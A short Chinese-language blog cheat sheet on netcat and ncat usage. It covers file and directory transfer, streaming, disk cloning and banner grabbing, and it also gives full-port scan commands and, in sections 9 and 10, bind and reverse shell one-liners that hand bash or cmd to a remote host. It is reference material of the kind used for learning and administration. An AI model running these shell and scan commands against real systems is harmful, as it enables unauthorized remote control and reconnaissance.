nc

nc使用

Posted by DYD on November 23, 2020
1. 传输文件
   - 接收端 nc -lp 333 > 1.mp4
   - 发送端 nc -nv 1.1.1.1 333 < 1.mp4 -q 1
   - 或
   - 发送端 nc -q 1 -lp 333 < a.mp4
   - 接收端 nc -nv 1.1.1.1 333 > 2.mp4

  
2. 传输目录
    - 发送端 tar -cvf - music/ | nc -lp 333 -q 1
    - 接收端 nc -nv 1.1.1.1 333 | tar -xvf -

3. 加密传文件 不是nc的加密功能是利用了mcrypt加密功能
    - 接收端 nc -lp 333 | mcrypt --flush -Fbqd -a rijndael-256 -m ecb > 1.mp4
    - 发送端 mcrypt --flush -Fbq -a rijndael-256 -m ecb < a.mp4 | nc -nv 1.1.1.1 333 -q 1

4. 流媒体服务器
    - 发送端 cat 1.mp4 | nc -lp 333
    - 接收端 nc -nv 1.1.1.1 333 | mplayer -vo x11 -cache 3000 -

5. 端口扫描
    - nc -nvz 1.1.1.1 1-65535
    - nc -vnzu 1.1.1.1 1-1024

6. 远程克隆硬盘
    - 接收端 nc -lp 333 | dd of=/dev/sda
    - 发送端 dd if=/dev/sda | nc -nv 1.1.1.1 333 -q 1

7. telnet / banner
    - nc -nv 1.1.1.1 110
    - nc -nv 1.1.1.1 25
    - nc -nv 1.1.1.1 80
8. 传输文本信息
    - 接收端 nc -l -p 4444
    - 发送端 nc -nv 1.1.1.1 4444
    - 发送端 ls -l | nc -nv 1.1.1.1 4444

9.  远程控制
    - 正向
    - 接收端 nc -lp 333 -c bash  //将接收端bash传递到发送端,发送端控制接收端
    - 发送端 nc 1.1.1.1 333
    - 反向
    - 发送端 nc -lp 333
    - 接收端 nc 1.1.1.1 333 -c bash //将接收端bash传递到接发送端,发送端控制接收端
    - windows下需要把bash改成cmd;
    
10. nc--ncat
    - nc缺乏加密和身份验证的能力
    - ncat包含于nmap工具包中
    - 被控制端: ncat -c bash --allow 192.168.20.14 -vnl 333 --ssl
    - 连接端: ncat -nv 1.1.1.1 333 --ssl
    - 不同系统/平台的nc参数功能不尽相同